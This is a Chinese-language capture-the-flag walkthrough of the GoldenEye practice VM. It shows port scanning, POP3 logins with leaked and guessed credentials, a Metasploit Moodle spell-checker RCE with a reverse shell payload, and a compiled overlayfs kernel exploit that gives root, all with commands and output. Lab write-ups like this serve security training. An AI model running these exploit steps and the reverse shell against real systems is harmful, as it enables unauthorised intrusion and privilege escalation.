PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd 53/tcp open domain dnsmasq 2.81 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 55006/tcp open ssl/pop3 Dovecot pop3d 55007/tcp open pop3 Dovecot pop3d
80端口
进入/sev-home路径
查看网页源码
打开terminal.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
//Boris, make sure you update your default password. //My sources say MI6 maybe planning to infiltrate. //Be on the lookout for any suspicious network traffic.... // //I encoded you p@ssword below... // //InvincibleHack3r // //BTW Natalya says she can break your codes
<h1>GoldenEye</h1> <p>GoldenEye is a Top Secret Soviet oribtal weapons project. Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network Operator (GNO) </p> <p>Please email a qualified GNO supervisor to receive the online <b>GoldenEye Operators Training</b> to become an Administrator of the GoldenEye system</p> <p>Remember, since <b><i>security by obscurity</i></b> is very effective, we have configured our pop3 service to run on a very high non-default port</p> </div> <h1>黄金眼</h1> <p>GoldenEye是一个高度机密的苏联原始武器项目。由于您有访问权限，您肯定持有绝密许可证，并有资格成为认证的GoldenEye网络运营商（GNO）</p> <p>请向合格的GNO主管发送电子邮件，接受在线GoldenEye操作员培训，成为GoldenEye系统管理员</p> <p>请记住，由于模糊安全非常有效，我们已将pop3服务配置为在非常高的非默认端口上运行</p> </div>
┌──(kali㉿Kali)-[~] └─$ nmap -p55006,55007 -sV -A -T4 192.168.56.103 Nmap scan report for 192.168.56.103 Host is up (0.34s latency).
PORT STATE SERVICE VERSION 55006/tcp open ssl/pop3 Dovecot pop3d | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Not valid before: 2018-04-24T03:23:52 |_Not valid after: 2028-04-23T03:23:52 |_ssl-date: TLS randomness does not represent time 55007/tcp open pop3 Dovecot pop3d |_pop3-capabilities: AUTH-RESP-CODE USER SASL(PLAIN) PIPELINING RESP-CODES UIDL CAPA TOP STLS |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Not valid before: 2018-04-24T03:23:52 |_Not valid after: 2028-04-23T03:23:52
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 51.45 seconds
nc 192.168.56.103 55007 +OK GoldenEye POP3 Electronic-Mail System
user boris +OK pass secret1! +OK Logged in. list +OK 3 messages: 1 544 2 373 3 921 . retr 1 +OK 544 octets Return-Path: <root@127.0.0.1.goldeneye> X-Original-To: boris Delivered-To: boris@ubuntu Received: from ok (localhost [127.0.0.1]) by ubuntu (Postfix) with SMTP id D9E47454B1 for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT) Message-Id: <20180425022326.D9E47454B1@ubuntu> Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT) From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here. . retr 2 +OK 373 octets Return-Path: <natalya@ubuntu> X-Original-To: boris Delivered-To: boris@ubuntu Received: from ok (localhost [127.0.0.1]) by ubuntu (Postfix) with ESMTP id C3F2B454B1 for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT) Message-Id: <20180425024249.C3F2B454B1@ubuntu> Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT) From: natalya@ubuntu
Boris, I can break your codes! . retr 3 +OK 921 octets Return-Path: <alec@janus.boss> X-Original-To: boris Delivered-To: boris@ubuntu Received: from janus (localhost [127.0.0.1]) by ubuntu (Postfix) with ESMTP id 4B9F4454B1 for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT) Message-Id: <20180425025235.4B9F4454B1@ubuntu> Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT) From: alec@janus.boss
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....
PS - Keep security tight or we will be compromised.
nc 192.168.56.103 55007 use+OK GoldenEye POP3 Electronic-Mail System user natalya +OK pass bird +OK Logged in. list +OK 2 messages: 1 631 2 1048 . retr 1 +OK 631 octets Return-Path: <root@ubuntu> X-Original-To: natalya Delivered-To: natalya@ubuntu Received: from ok (localhost [127.0.0.1]) by ubuntu (Postfix) with ESMTP id D5EDA454B1 for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT) Message-Id: <20180425024542.D5EDA454B1@ubuntu> Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT) From: root@ubuntu
Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.
Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus. . retr 2 +OK 1048 octets Return-Path: <root@ubuntu> X-Original-To: natalya Delivered-To: natalya@ubuntu Received: from root (localhost [127.0.0.1]) by ubuntu (Postfix) with SMTP id 17C96454B1 for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT) Message-Id: <20180425031956.17C96454B1@ubuntu> Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT) From: root@ubuntu
Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)
Ok, user creds are:
username: xenia password: RCP90rulez!
Boris verified her as a valid contractor so just create the account ok?
And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir **Make sure to edit your host file since you usually work remote off-network....
Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
邮件信息： Greetings Xenia, As a new Contractor to our GoldenEye training I welcome you. Once your account has been complete, more courses will appear on your dashboard. If you have any questions message me via email, not here. My email username is... doak Thank you, Cheers, Dr. Doak "The Doctor" Training Scientist - Sr Level Training Operating Supervisor GoldenEye Operations Center Sector Level 14 - NO2 - id:998623-1334 Campus 4, Building 57, Floor -8, Sector 6, cube 1,007 Phone 555-193-826 Cell 555-836-0944 Office 555-846-9811 Personal 555-826-9923 Email: doak@ Please Recycle before you print, Stay Green aka save the company money! "There's such a thing as Good Grief. Just ask Charlie Brown" - someguy "You miss 100% of the shots you don't shoot at" - Wayne G. THIS IS A SECURE MESSAGE DO NOT SEND IT UNLESS.
Home - Site administration - Plugins - Text editors - TinyMCE HTML editor - PSpellShell
msfconsole
1 2 3 4 5 6 7 8 9
msfconsole use exploit/multi/http/moodle_spelling_binary_rce set username admin set password xWinter1995x! set rhost severnaya-station.com set targeturi /gnocertdir set payload cmd/unix/reverse set lhost 10.1.1.184 exploit
方式二：手动触发
手动发出同样需要修改Shell engine。
Page to aspell
Home - Site administration - Server - System paths
id uid=33(www-data) gid=33(www-data) groups=33(www-data) whoami www-data python -c 'import pty; pty.spawn("/bin/bash")' <ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ <ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
权限提升
查看内核版本
1 2 3
<ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ uname -a uname -a Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU
<ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ gcc 37292.c -o exp gcc 37292.c -o exp The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'
<ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ cc 37292.c -o exp cc 37292.c -o exp 37292.c:94:1: warning: control may reach end of non-void function [-Wreturn-type] } ^ 37292.c:106:12: warning: implicit declaration of function 'unshare' is invalid in C99 [-Wimplicit-function-declaration] if(unshare(CLONE_NEWUSER) != 0) ^ 37292.c:111:17: warning: implicit declaration of function 'clone' is invalid in C99 [-Wimplicit-function-declaration] clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); ^ 37292.c:117:13: warning: implicit declaration of function 'waitpid' is invalid in C99 [-Wimplicit-function-declaration] waitpid(pid, &status, 0); ^ 37292.c:127:5: warning: implicit declaration of function 'wait' is invalid in C99 [-Wimplicit-function-declaration] wait(NULL); ^ 5 warnings generated. <ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ ls ls 37292.c config.php editor_plugin_src.js includes changelog.txt css exp rpc.php classes editor_plugin.js img <ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ ./exp ./exp spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # id id uid=0(root) gid=0(root) groups=0(root),33(www-data) #
